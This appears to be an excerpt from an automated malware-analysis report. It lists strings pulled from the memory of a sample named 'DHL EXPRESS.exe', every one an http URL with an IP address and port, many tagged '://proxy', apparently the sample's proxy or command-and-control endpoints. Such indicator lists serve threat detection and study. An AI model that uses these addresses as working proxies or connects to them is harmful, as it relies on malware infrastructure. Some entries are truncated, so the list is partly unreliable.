Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:3335
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:3335://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:3335P
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD915000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:3389
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:3389://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:6705
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.20:6705://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.21:29477
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.21:29477://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.22:14325
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.22:14325://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.22:2211
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.43.236.22:2211://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADA14000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.73.141.150:3549
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.73.141.150:3549://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.1.210.16
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.1.210.163:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.1.210.163:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.183.180.222:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.183.180.222:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.185.57.66
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.185.57.66://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.185.57.66:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.188.93.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.188.93.171:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.188.93.171:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.71.247.130:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.71.247.130:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.71.249.153:48606
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.160.223.225:8181
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.167.169.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.167.169.46:12903
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.167.169.46:12903://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.27.150.166:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.27.150.166:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.61.200.104:36181
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.61.200.104:36181://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.63.73.234:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.63.73.234:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB4CD000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB9FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.75.140.157:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.75.140.157:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://70.126.33.226:47370
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://70.126.33.226:47370://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://70.166.167.55:57745
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://70.166.167.55:57745://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB853000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB3BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:26887
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:26887://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:31571
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:31571://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:3801
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:3801://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:5321
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:5321://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:5385
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:5385://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:26315
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:26315://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:31571
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:31571://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:5369
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:5369://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.172:1087
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.172:1087://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.172:15991
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.172:15991://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.173:10677
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.173:10677://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.9
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB1F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:17893
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB1F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:17893://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:1811
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD80D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:1811://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:21011
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:21011://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:23685
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:23685://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:24397
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:24397://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:2589
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:2589://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:29129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:29129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:29197
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:29197://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:29813
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:29813://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:3051
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:3051://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:30951
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:30951://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:4337
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:5123
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:5123://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:5775
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:5775://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.93:13477
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.93:13477://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.94:4595
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.94:4595://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:10801
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:10801://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:11251://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:13341
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:13341://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:13477
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:13477://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:1403
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:1403://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:1431
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:1431://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:18067
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:18067://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:1929
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:1929://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:2675
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:2675://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:30717
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:30717://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:5529
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:5529://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:5931
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:5931://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:5935
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.164.178:5935://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.220.46:28810
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.221.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.221.145:42043
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.221.145:42043://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.221.157:64742
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.221.157:64742://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.222.113:48892
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.222.113:48892://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.38.7:15410
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.38.7:15410://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.38.7:19802
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.167.38.7:19802://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.169.67.61:87
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.169.67.61:87://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.114.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.114.169:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.114.169:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.35:27360
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.35:27360://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.4
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.41:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.41:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.42:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.42:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.58:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.58:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.59:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.6
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.60:27391
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.195.34.60:27391://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.206.181.105:64935
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.206.181.105:64935://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.221.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.221.197:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.221.197:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.210.221.223:4145
